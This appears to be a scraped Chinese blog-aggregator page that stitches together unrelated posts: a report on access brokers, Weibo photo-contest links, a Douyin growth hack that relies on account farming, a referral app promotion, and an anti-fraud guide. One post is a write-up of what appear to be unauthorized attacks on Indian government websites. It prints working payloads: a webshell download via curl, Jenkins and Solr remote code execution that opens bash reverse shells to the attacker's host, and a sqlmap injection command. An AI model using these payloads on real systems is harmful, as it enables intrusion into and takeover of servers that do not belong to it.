月 1 日- 7 月 27 日)内的报价,以便更好了解黑客组织的目标、要价以及活跃度,在此期间, 初始访问经纪人 IABs(黑客中介)为国防、电信、医疗保健和金融服务等18 个行业的 100 多家公司做了”广告“。 Flare 营销副总裁 Eric Clay 在与 BleepingComputer 分享的一份报告中指出针对美国、澳大利亚和英国公司的攻击最常见,考虑到这些国家的生产总值(GDP)很高,这并不奇怪,Clay 还在报告中指出针对金融和零售业实体组织的案例最多,其次是建筑业和制造业。 根据国家/地区以及公司的差异,初始访问代理权限起价为 150 美元,其中大部分是通过 VPN 或 RDP 进行初始访问,大约三分之一价格在 1000 美元以下,但最近黑客论坛上在出售价值 12万美元(当时为BTC4),用于进入价值数十亿美元拍卖行内部网络的访问权限,售卖人员没有提供太多细节,但表示其有权访问多个高端拍卖(即管理面板)的后端。 Flare 指出虽然大多数访问权限都是中低价值的,但偶尔也会有极为独特或高价值的访问权限被拍卖,这样就可能会导致定价与我们的平均定价相比出现极大差异。 访问权限和地理位置 大多数帖子都提到了受害者的地理位置,研究人员为此绘制了一张受害者地理位置分布图,显示美国境外 35 个据称被黑客组织攻击的实体。 基于初始访问”广告“的受害者分布图(源:Flare.io Flare.io) Exploit 论坛上的 IAB 交易仍然在避免针对俄罗斯和独立国家联合体(CIS)国家,但令人惊讶的是,GDP 排名世界第二的中国 IAB 的数量也很少。为此,Clay 透露虽然 IAB 通常会避免将中国作为攻击目标,但还是有一个针对中国人工智能公司的网络访问列表。 值得一提的是,Clay 指出某黑客中介表示可以提供美国一家广播电台的特权访问权限,并称可以利用其来 "播放广告"。 Exploit 论坛帖子中最常见的访问类型是通过 RDP 或 VPN,两者合计占据了数据集中列表中 60%,其余通过云管理员、本地管理员、域用户等与访问帐户相关联的权限占据了 40%。通常情况下,对企业网络的访问来自信息窃取恶意软件,但一些攻击者明确表示可以使用恶意软件、网络钓鱼或利用漏洞等方法。Mathieu Lavoie。 无论初始访问代理使用哪种方法获取网络访问权,实体组织至少应实施对信息窃取恶意软件的监控机制。此外,实体组织也应对初始访问中介发布广告的论坛进行监控,即使受害者的姓名是匿名的,也能帮助企业获得可能的入侵线索。再结合地理位置、收入、行业和访问类型等数据,就足以对潜在违规行为展开调查,这一过程可能会发现需要更强安全性的领域,或识别可能构成风险的设备、服务和账户。...

    2023-08-20 207
  • 某博纯欲双马尾大赛

    围观地址:https://weibo.com/7744876007/NeJR3uIHQ...

    2023-08-20 190
  • 某博一步裙大赛

    围观地址:https://weibo.com/2479238731/NeGUFBhnS...

    2023-08-20 233
  • 某博不敢分享在朋友圈的照片 ​​​

    围观地址:https://weibo.com/2479238731/NeTpRjTZh...

    2023-08-20 242
  • 某博马尾girl自拍大赛

    围观地址:https://weibo.com/2479238731/NeT5Fl1tv...

    2023-08-20 220
  • 某博女高校园风大赛

    围观地址:https://weibo.com/7744876007/NeSTjbL0A...

    2023-08-20 239
  • 某博贴身连体衣大赛

    围观地址:https://weibo.com/2479238731/NeSH7A4CU...

    2023-08-20 238
  • 某博再来一次吊带吧

    围观地址:https://weibo.com/2479238731/NeJEHeTD1...

    2023-08-20 178
  • 某博后妈包臀裙呐

    围观地址:https://weibo.com/2479238731/NeOn4bmRf...

    2023-08-20 183
  • 抖音涨粉黑科技:1个月涨粉44万的AI小和尚说话视频

    大家好,我是富哥创业笔记创始人懂事长,近期AI小和尚图片说话视频瞬间爆火,相信许多人已经观看过了,随便一个视频都是几十万,上百万播放量。 操作方式简便,粉丝增长迅速,吸引了众多人加入其中。 前段时间由于过于繁忙未能关注,这几天实际操作了一下,并向大家汇报一下情况。 一、项目优势 这种玩法的优势在于其新颖性,能够激发人们的好奇心。此外,老者或小和尚所说的话语中蕴含的哲理思想也能够引起观众的强烈共鸣,因此视频的停留时间较长,流量较大。最重要的是,制作这种视频非常简单,而且制作出来的是原创视频。熟练掌握后,基本上只需要十几分钟就能制作出一个完整的视频。 如图所示下方 由AI生成的图片,通过配音软件结合图片-视频处理软件,实现仿真模拟真人说话的效果。所说的话语通常包括祝福语、心灵鸡汤、禅语、两性情感等内容。 二、账号数据 最近30天49条作品,涨粉44.2万,直接干到了周涨粉榜单25名。这个数据很诱人。 我自己实操下来,3个新号,一周之内可以到上万粉以上,拿来起号,安全有效! 三、变现手段 有些人可能会担心这种账号的粉丝不易变现,实际上,只要有流量就能轻松实现变现,接下来分享几种变现手段。 1、带货 根据粉丝画像来看,主要是以女性宝妈或中老年群体为主。这些人要么需要心灵寄托,要么对人生百态已有深刻认识。 2、小程序取图变现 因为制作的视频中人物是卡通的,所以可以通过引导粉丝去小程序取图变现,比如力推图,神图君等等。 3、招募学员变现 当你账号流量大了,粉丝基数大了后,自然而然会有很多人主动找你来咨询,如何制作类似短视频,那么你可以通过招募学员来变现。 四、操作流程 1、制作图片 首先,我们需要生成一张小和尚/老者的图片。 有两种方式:一种是直接从其他账号中找到小和尚的照片,然后截图下来进行使用即可。另一种方式是使用midjourney来生成图片,在淘宝上可以找到账号,一个月的费用大约在十几元左右。难点在于相关的ai绘画关键词。前期可以通过图片来生成描述关键词,然后再通过描述关键词重新生成图片,从而实现原创。 首先,我们找到一张图片,然后发到midjourney,他会生成4条描述关键词。 第二,复制这些英文关键词,翻译成中文,然后再稍微修改下,或者添加一些关键词进去,比如光头,白,胖,萌萌的、可爱等。 比如 6-8岁的男孩,穿着僧袍,光头小和尚,有酒窝、有点胖、白皮肤,娃娃脸,始终保持微笑。8K分辨率,saurabh jethani,细致的技术,tetsuo hara,可爱,mao hamaguchi --ar 9:16(Bald little monk smiling in monk's robes, white skin, baby face, a little chubby, don't accessorize, light orange style, 8K resolution, saurabh jethani, meticulous technique, tetsuo hara, cute, mao hamaguchi --ar 9:16) 第三,用英文发送指令后,会给你生成4张图片,点击U1-U4,会给你生成高清版本图片;点击V1-V4,又会给你再生成4张图片。 2、提取文案 第一种,一键快速实现,使用我推荐的AI文案工具,再里面输入:让它帮你生成心灵鸡汤、禅语等相关语录。 第二种,先把对方视频保存下来,然后通过一款视频文案提取神器,把视频里的文案内容提取出来,然后再发送给上面的ai文案工具生成文案,进行伪原创。注意,开头往往是黄金三秒,一般是视频核心,不要修改,照抄即可。 第三种,可以去百度搜索相关语录,或者一些心灵鸡汤类的书籍去摘选出来,也是可以的。 文案这个环节很重要,一定要重视文案的原创性,只要原创内容,那么你的播放量会很高。实操下来,最近操作祝福语文案类的短视频,播放量、点赞量、评论量都很高。 3、生成配音 文案有了,接下来就是将文案进行配音。用魔音工坊、配音神奇pro等一些配音工具进行配音即可,看下面图片进行操作。 4、图片变动图 下面分享两种让图片变成动画效果的方法。 一种是使用heygen,效果很好,缺点一个账号只送1积分试用,两个视频就用完了。 另外一种,d-id,studio.d-id.com,不仅可以合成视频,还可以直接生成你想要的人物形象,更省事,以及不同的视频尺寸。效果稍微差一些,一个账号送20积分,但是可以做6-8个视频,一个账号用完了,就再注册一个账号,基本上可以实现免费使用了。 5、制作短视频 将第四步生成的视频导入到剪映里,识别字幕、添加背景音乐、调色、混合等等方式制作原创视频。比如通过第三款工具,给小和尚背景添加寺庙、山水、下雨等背景特效,这样让视频变得更丰富些。 今天就分享到这里啦,希望这些干货能帮助一批新手破局迷茫,能够变现!!! 作者:懂事长 公众号:富哥创业笔记 ...

    2023-08-20 214
  • 首码必领20元红包 首码新项目 提现稳定 变现简单

    打卡日历是一款帮助养成好习惯的APP软件,在打卡日历里,用户可以建立丰富全面的日历日程服务,提供日程相关的天启、醒着、运势以及好货好物等推荐服务,帮助用户养成并建立个人良好的作息生活习惯等等。福利:红包,每天都可以领取,新人稳撸40+   一、VX扫码下载,这个和之前咱们介绍过的幸运蛙有点像是,差不多是一个玩法,模式也是相同。玩过的都知道非常粗暴高收益。亲测玩了十来分钟就撸了40米红包了。 链接:邀请链接 二、首页有个新人宝箱,点开然后看十来个广告视频,然后参与3次游戏后,就可以得20红包,另外每天签到都能获得1元,收益可以说非常可观。 ...

    2023-08-20 182
  • 抖音挂机赚钱,不影响正常使用

    不违法,不违规,原理用抖音发视频,小程序广告收益分成。 ​ ...

    2023-08-20 202
  • 一次暴露面全开的红帽渗透测试【getshell】

    0x01、信息收集阶段 ==注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/=== 一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集 host="gov.in" && country="IN" 哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。 试着写了个脚本看看: import pythonfofa import csv filename = "IN_domain.csv"   email = 'u_mail'key = 'u_API_KEY'search = pythonfofa.Client(email, key)get_data = search.search('host="gov.in" && country="IN"', size=70000)   print(get_data)   requests = [result[1] for result in get_data['results']]print(requests)   打开CSV文件并设置写入模式   with open(filename, "w", newline="") as file:writer = csv.writer(file)   遍历请求列表   for request in requests:   在控制台打印域名   print(request)   检测域名是否包含"http://"   if not request.startswith("http://") and not request.startswith("https://"):   如果不包含,则在域名前添加"http://"   request = "http://" + request   在域名后添加斜杠"/"   request += "/"   将请求和值"1"作为一行写入CSV文件   writer.writerow([request, 1])   是的,肯定不能跑,下断点,调试看看 很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫 主流框架的相关漏洞的FOFA规则语句: Fastjson app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Struts2 app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Log4j2 (app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")) 其他的也都大同小异,照葫芦画瓢就行。 目标站点收集差不多了,就是漏洞探测阶段了。 【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】 ① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS) 0x02、漏洞探测及利用 Struts2: 直接掏出大范围漏扫AWVS就行批量漏洞探测: 第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞: 很好一堆==Struts2==漏洞,直接上工具: 得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell== 将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/ 直接执行 curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp 然后webshell工具Antsword连接即可: 爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________。 Weblogic: 很好用的awvs,直接上工具注入内存马: 冰蝎连接webshell: 同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》 (PS:这个时候已经有些疲软了,没有去手测upload的点) Jenkins: 中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA: (app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443") 一看86条资产,有戏,数量不多,直接手测: 存在未授权,访问manager --> script页面,进行命令执行测试: println "ls -al".execute().text 存在命令执行,尝试反弹shell: println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text 接收shell的服务器开启端口监听: 执行命令 发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作: 在sh文件中写入如下内容: bash -i >& /dev/tcp/ip/port 0<&1 保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件: println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text 查看.sh文件是否获取成功: println "ls -al /tmp".execute().text 获取.sh文件成功,执行文件,反弹shell: 开启监听: 执行命令,启动.sh文件: println "bash /tmp/jenkins.sh".execute().text 成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。 Apache-Solr 闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA: country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80") 数据不大,接着手测,拿到三个未授权(不需要登陆): ==授权==: ==未授权==: 拿到未授权之后,进行CVE探测: 访问/solr/admin/cores/,获取name => music 接着拼接路径/solr/music/config/查看用户配置信息: 都为true,可直接利用公网披露的payload进行RCE, GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoami%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 测试是否出网: 修改执行命令为 curl%20xtolsc.dnslog.cn 可出网,直接反弹shell: GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2xxxxxx8xMDEuNDMuMTM5LjI0My81MDAwIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: ip accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close VPS开启端口监听:nc -lvvnp 5000 接听到弹过来的shell了,好,又拿下一台,root权限。 其他漏洞发现 反射型XSS 具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句 <script>alert(1)</script> SQL注入 这类没有具体测试,发现注入点之后直接上SQLmap开扫: sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql 诸如其他的漏洞也有发现,但不是本次渗透的重点,便没重点去深入。 渗透总结 本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。...

    2023-08-19 279
  • 看完《孤注一掷》,原来这些人最容易被诈骗;反诈课堂|这份老年人防诈骗指南请收好

    《孤注一掷》,原来这些人最容易被诈骗 最近,你看了诈骗电影《孤注一掷》吗?“想成功先发疯,不顾一切向钱冲;拼一次富三代,拼命才能不失败;今天睡地板,明天当老板!”诈骗工厂里的被骗去打黑工的人们一次次高呼着朗朗上口的口号。铺天盖地的钞票、被沉入海底的性感美女**屏蔽敏感词**、变卖全部家产后跳楼的赌徒、被打到鼻青眼肿的高新技术程序员、本想出国淘金,却意外落入境外诈骗工厂陷阱的大量受害者......哪怕你没看过这部电影,但这些熟悉的镜头,经典的台词,在抖音等社交平台上持续传播,里面的部分片段甚至还引发了无数网红模仿。   剧照来自《孤注一掷》官方账号 该电影取材自上万起真实诈骗案例,境外网络诈骗全产业链将在大荧幕上被首度揭秘,影片不仅在内容上引人深思,同时在形式上也有其独特之处。影片聚焦于网络诈骗背后的盘根错节,千种万种套路,以揭秘的视角为观众讲述背后的故事,赚足了观众的好奇心和眼泪。 可能有些人认为,电影里演的不过是情节所需罢了,这些境外诈骗离我们很遥远,只要自己不出国不就行吗?事实上,它们离我们真的很近。   骗子的套路,远比我们想象的深在这部电影中,作为诈骗工厂的绝对掌权者,诈骗头目陆秉昆(王传君饰)十分擅长洞悉那些急功近利者的弱点,并将蛊惑人心那一套,玩转到了炉火纯青的地步,其手下阿才(孙阳饰)则负责以暴力相威胁,两人分工合作,从心理和生理进行双重压制。 高薪诱惑实则骗局,海外淘金梦碎 影片开场,自视清高的计算机程序员潘生(张艺兴饰)在被关系户顶掉职位后愤然离职,决定接下某新加坡公司的offer,踏上“新生活”的征程,却不料其实是电诈集团的精心设置的圈套。同时,另一位主角嫩模安娜(金晨饰)遭人诬陷后被公司停职,随后被所谓的“朋友”欺骗,认为出国做赌场**屏蔽敏感词**,真的能淘金。于是主角两人双双落入海外高薪骗局的陷阱。这个角色设定其实也在告诉我们,无论学历高低,无论职业,哪怕是聪明人也一样会被骗。高智商、高学历的人被骗的案例比比皆是。这就是目前境外诈骗最典型的高薪务工骗局。       近年来,不断有人被所谓高薪职位的“年入百万”、“报销机票”、“稳赚不赔”等信息所诱惑,幻想能一夜暴富。然而,在那边等待他们的,并不是什么年薪百万元的工作,而是被限制人身自由,遭受挨饿、毒打、电击等惩罚,以及残害肢体、割取器官等非人折磨,有人甚至因此而命丧他乡。有不少回流人员曾在采访中讲述过境外那些不堪回首的日子,其表示身陷境外诈骗公司的大多是学生、务工人员等年轻群体,偷渡踏出国门的那一刻就是他们噩梦的开始。面对惨无人道的胁迫这些“新入职”的受害者不得不屈从,在酷似监狱的高墙和铁丝网内,被全副武装的保安和打手看守,不得不在诈骗头目的指使下进行电诈、贩毒、**屏蔽敏感词**等违法犯罪活动。要明白,这个世界上没有免费的午餐。任何时候都要谨慎对待网上的诱惑,不要轻信陌生人,更不要盲目前往战乱贫困地区。 十赌十输,“小赌怡情”是最大的骗局 影片中的第二个桥段是围绕赌棍阿天(王大陆饰)展开的。大学还没毕业的他,就已经有房有车,还和几位志同道合的好朋友经营着工作室的小事业,还有一位善解人意的女朋友,原本家境优渥,事业爱情双丰收的他,却沾染上了**屏蔽敏感词**。起初只是小玩两把,之后越来越大越来越不可自拔。诈骗集团利用他的贪欲,一步步引诱他下注,阿天倾尽所有,用自己名下唯一房产孤注一掷,发现被骗后万念俱灰,最终选择了跳楼。而镜头一转,电诈集团据点内欢声不断,头目与马仔们肆意欢庆,庆祝业绩大丰收。一边是一个家庭的破碎,另一边是欢乐的庆祝,强烈的对比令人深思。诸如此类的事件不在少数,打开百度随便一搜就有无数真实案例。 境外诈骗组织往往会为赌徒量身定制一点蝇头小利,让他们自以为抓住了所谓的“幸运”,继而贪欲会将他们带入**屏蔽敏感词**的深渊,负债累累的赌棍们最终无奈之下投身于组织,成为永远不见天日的绝望囚徒。事实上,这种新型**屏蔽敏感词**方式背后有一套从境外向境内、自上而下的组织架构。境外组织者位于架构的顶端,国内各级代理是下线,负责扩大参赌人数,吸纳赌资。境外**屏蔽敏感词**集团通过对正规网站植入黑链、群发短信、微信群、QQ群引流等手段宣传推广,引诱参赌人员注册、充值**屏蔽敏感词**,**屏蔽敏感词**资金通常通过网银或第三方支付平台进行流转。而网络**屏蔽敏感词**往往由所谓的庄家设局,利用提前算好概率、内外串通、APP外挂等手段,欺骗参赌者投注资金,因此网络**屏蔽敏感词**可谓“逢赌必输”。除此之外,**屏蔽敏感词**团伙在微信群、QQ群利用“发红包”功能,通过群聊进行“赌大小”“压数字”等**屏蔽敏感词**活动。还有一些披着棋牌游戏外衣的**屏蔽敏感词**APP,在游戏过程中发生赌注交易,并在赌资提现时,编造所谓“差价”和“汇率”,牟取大量利益。**屏蔽敏感词**是一种极富风险和诱惑力的活动,许多人常常过于轻视其中的风险,抱着侥幸心理去参与。然而,毋庸置疑地,**屏蔽敏感词**的本质就是十赌十输。 现实版境外诈骗,远比电影惨烈百倍千倍 事实上,电影中所呈现的诈骗集团只算中等规模,真实生活中受害者的数量达到惊人的千万级、亿级。每个案件背后,不仅仅是重大的经济损失,更可能牵连到一个个家庭的瓦解与崩溃。阴暗世界的可怕真相远非片中所呈现的那般简单,而诈骗集团使用的手段也并不止有电影中的那几种。 心狠手辣,靠卖血卖器官赚钱 有回流人员在接受采访中曾透露,自己被中介的诱惑下偷渡至缅北,进了诈骗组织被迫成为一名电信网络诈骗客服,每天的伙食就是一个馒头两瓶水,完不成当天安排的“诈骗业绩”就要挨打,针扎手指、被火烫等都是常有的事。他也曾试图逃跑,但结果就是再次被抓回,回去后被抓进满是臭水的水牢里关了15天,并且每天还被抽取大约6罐可乐瓶容量的血,连抽了多日用以卖钱直到他失去意识。据他回忆,曾亲眼目睹其他同事被勒索赎金,如果没钱就用剁手指来偿还赎金,一根手指1万元,连剁三根;还有的人会被黑市医生现场开膛破肚,将能用的器官都“当场噶掉并拿入黑市进行售卖”。当然,也有被直接枪毙的。 人口贩卖,卖淫、电击、水牢是常规操作   据回流者透露,被骗去做电信诈骗的人们,如果业绩少就只能吃狗食,住十几人的大通铺,门窗封死防止逃跑,屋内环境恶劣,气味恶臭。同时,屋外每天24小时有荷枪实弹的雇佣兵看管,被公司买卖的人,甚至要戴着手铐脚铐去工作。如果每天被安排的任务未完成就要接受皮鞭抽打、电击、关水牢、砍手指脚趾等惩罚。长期没有业绩的人会被转卖给组织卖淫或售卖人体器官的公司。回流者称:“中国人在那里是行走的人民币,一个人头的价值少说也在10万元以内。一个20来岁的人,可以卖出去20万元,那里的人口贩卖已经形成了一条黑色产业链。”由此可见,诈骗集团内的黑暗程度是人们想象不到的。在那里,人命甚至是被明码标价的。 吞噬人性,让人倾家荡产的“杀猪盘”   还有一些诈骗组织让“新入职”的受害者冒充“离异高富帅”、“离异白富美”或“单身成功人士”等人设,在网上寻找“猎物”,一步步设下圈套陷阱,他们利用人们内心最渴望的情感需求,以假意骗取异性的信任,让对方陷入情感陷阱中,然后用内幕消息引诱他们投资或者**屏蔽敏感词**。为了让受害人彻底陷入骗局,一些诈骗组织还会特地找好几个漂亮的女模特随时待命。这种方法往往能让人在短时间内产生情感依赖,并心甘情愿“掏空钱包”,有的甚至倾家荡产、负债累累、最终落得一个家破人亡的悲惨结尾。这种犯罪集团采用的诈骗手法俗称“杀猪盘”,具体逻辑分以下几步: 第一步,取得信任(圈猪)。业务员通过网络社交平台锁定受害人,并将自己包装成单身的成功人士进行交友,添加好友后,通过嘘寒问暖来博得受害人信任。 第二步,怂恿投资(养猪)。业务员拉进与受害人的距离骗取信任后,开始向受害人介绍某个投资(福利彩票)平台,引导受害人扫二维码或点击链接进入该平台投钱,诈骗集团人员通过后台操作,先让受害人小赚几笔,受害人尝到甜头后,继续投入大额资金。 第三步,无法提现(杀猪)。当受害人以为获利并要从平台提现时,发现诈骗集团已将其拉黑无法提现。通过这种方式,该诈骗集团骗取数百万元。 所以,任何时候都不要被“天上的馅饼”蒙蔽双眼,对突然出现的“高薪、巨利、暴富”等网络信息统统说不!要增强防骗意识,认清虚拟的网络世界,往往你以为的一夜致富的路,其实背后是一个没有底线的利益团伙铺下的陷阱罢了。 冒充公职人员,伺机植入病毒散尽钱财   冒充身份类诈骗目前已成为电诈案件高发的“重头戏”,在诈骗套路的不断更新变化中,骗子角色扮演的套路越来越深,让人防不胜防。他们会通过伪造的身份信息,冒充银行、政府机构、互联网平台客服等人员,发送虚假的邮件、短信、电话,以获取个人敏感信息,或者诱惑被害人进行转账等。比如之前就曾有过类似案件:骗子通过投资理财、财务交流、公司内部等微信、QQ群或电子邮件,传播名为“2023企业个人最新版所得税缴纳标准”、“电子发票”等压缩文件,打开后文件内容均为空白,实际系木马病毒。一旦财务人员点击下载并解压,就会立即被植入木马病毒,继而骗子就会通过病毒获取电脑后台权限,实现截屏、录屏、监控等方式,“观察”公司财务转账及内部交流情况。待时机成熟后,骗子还会制造卡机、黑屏,并远程控制受害人电脑端微信(QQ或钉钉),删除老板真实聊天账号,添加“克隆”账号(使用相同头像及昵称),进而“指挥”公司财务进行转账。还有骗子会冒充公安民警、军人、消防官兵等公职人员进行诈骗,他们能准确说出你的身份证号、联系方式和家庭住址取得你的信任。并谎称你名下的银行卡涉嫌洗钱、诈骗等,要求你配合调查。他们利用公检法威信力来击破受害人的心理防线,使其陷入恐慌,失去判断。通过聊天工具发送逮捕证、通缉令等材料,还会发来警察办公等视频,进一步击溃受害人的心理防线。最后以配合各种调查为由,循序渐进向当事人索要银行卡号、验证码等信息,最终达到骗取钱款或盗刷当事人各类账户财产的目的。毫无底线的罪行、闭塞恶劣的环境、无孔不入的诈骗手法种类繁多、千变万化,上述几个类别其实不过只是冰山一角。随着网络时代不断发展,未来骗子的诈骗的手段只会越来越“精进”,但万变不离其宗,正所谓“见招拆招”,提高分辨能力,不轻信“天上掉馅饼”的好事,很大程度上能避免许多骗局。淘金梦醒后,只剩人间炼狱 官方曾有统计,目前境外窝点实施的诈骗占了国内总诈骗案件数的六成以上。而这些境外电信诈骗的案件中最大一部分,就来自“诈骗圈的耶路撒冷”——缅甸北部。在许多网络小说和影视剧中,缅甸北部被描绘成一个充斥着机遇的冒险之地,人人都有可能在那里闯出属于自己的一片天地。而现实情况是,由于复杂的历史和政治因素,缅北到现在仍然是一个充斥着混乱、罪恶与杀戮的是非之地。在规模庞大的黑灰产业密切配合下,境外电信网络诈骗已经形成了完整的分工链,从信息买卖、实施诈骗到分赃销赃,一应俱全,甚至还有大数据和AI技术的辅助。像缅北这样的诈骗者聚集地,更是团伙协作,各司其职,环环相扣,剧本越来越专业,对象越来越精准。境外诈骗人员一次次深入窥探人们的心底贪念,只要稍有不慎,就会落入他们精心编织的电信网络诈骗陷阱。“高薪工作,待遇优渥,工作轻松,无需文凭,月薪5万起,包机票,包食宿……”这些招聘信息精准地击中了那些做着发财梦、渴望赚快钱的人们。贪念如罂粟,短期内让人飘飘欲仙。时间一长,便让人深陷泥潭,无法自拔。不管学历再高、也不管你是何种职业,只要贪念一起,在骗子眼中,你就是待宰的羔羊。请谨记天上不会掉馅饼,能砸在你头上的,99%都是陷阱。所有的捷径,都要付出相应的代价,而捷径带你走向的,往往不是成功,更可能是万丈深渊。对于大多数普通人来说,突降的境外的高薪工作背后藏匿的不过是鲜血和无尽的折磨,以及充满暴力与杀戮的黄赌毒产业链。待淘金梦醒后,睁眼再看到的,大概只剩人间炼狱。 反诈课堂|这份老年人防诈骗指南请收好 近年来, 诈骗套路层出不穷, 一些不法分子利用老年人 信息闭塞、渴望健康、认知较弱的特点 骗取老年人钱财。 常见的诈骗套路有哪些? 01 提供养老服务 以投资养老基地、旅游考察、预售养老床位等项目为名,将老年客户诱骗至所谓养老基地、福利院进行参观、游玩,进而以预售养老床位等名义非法集资。 02 金融投资 “限量发行”“绝世珍藏”等宣传语常被不法分子用来吸引老年人投资,一些不法分子还许诺在短期内会帮助老年人将纪念币进行拍卖以实现“收益翻番”。同时,还有不法分子利用“海外股权”“天使投资”等新兴金融概念混淆视听,诱使老年人购买产品。 03 低价购物 不法分子发布低价二手物品转让信息,一旦与其联系,便以缴纳定金、手续费等为由骗取老年人钱财。 04 免费赠送 老年人十分注重养生,诈骗分子借此诱惑老年人高价购买毫无用处的保健品,某些受疾病困扰的老年人会相信诈骗分子所说的各种“神奇”的偏方疗法。诈骗分子打着免费送鸡蛋、水果、小家电的幌子,租用专门场地向老年人宣传“保健产品”、“治疗药品”,夸大产品功效诱惑老年人,从而实施诈骗。 05 低价旅游 旅行社以低价游、免费游的噱头吸引老年人参团旅游。随后在旅游过程中安排各种购物环节,将商品以高于市场价多倍的价格卖给老人们。除此之外,还有部分旅行社降低住宿、饮食标准,或将各种需要付费的景点排除在低价团费之外。 06 冒充中奖 不法分子以热播电视节目组的名义向老年人发送短信,称对方已被抽选为节目幸运观众,以获得奖金需交手续费、保证金等为由实施诈骗。 7 冒充公检法 诈骗分子通常会伪造相关证件和文件,冒充公安、检察院、法院等工作人员,利用老年人的薄弱法律意识和恐慌心理,以及对子女的关心,声称要执行逮捕,须缴纳保障金等手段,骗取老年人的钱财。 08 黄昏恋 “黄昏恋”骗局其实就是“杀猪盘”骗局的一种,主要针对独身老人,通过网络发展成为网恋后,通过编造各种理由索要钱财,随后拉黑对方,完成诈骗。 09 冒充亲友 不法分子利用非法手段获取老年人信息后,伪装成老年人的亲友,以借款、救急等理由发送短信,要求老年人向其转账汇款。 诈骗手段日益更新,老年人千万要小心!防骗妙招请收好 防诈骗指南 01 戒除贪婪心理   </p>   </p> 不轻信有包治百病的灵丹妙药和天上掉馅饼的免费午餐,不要轻信不明对象及可疑信息,对高息产品提高警惕。 02 强化警戒心理   </p>   </p> 遇事保持冷静,多调查、多思考,面对陌生人不轻易相信、不盲从,个人信息要保密。 03 讲科学,不迷信   </p>   </p> 面对保健养生类诈骗,做到“两要、两不要”,即不要相信有包治百病的神丹妙药,如果患有疾病,主动就医,保健品不能治愈疾病。相反,伪劣的保健品会加重患者的病情,贻误治疗良机。 04 常与亲友沟通   </p>   </p>   </p> 遇到拿不定主意的事情不急于决策,不固执己见,多听取亲友意见,常与亲友交流。从亲属子女角度,则要与家庭中老年人更多交流,对他们给予更多关爱。...

    2023-08-19 192
  • 淘宝的第一单生意是怎么来的

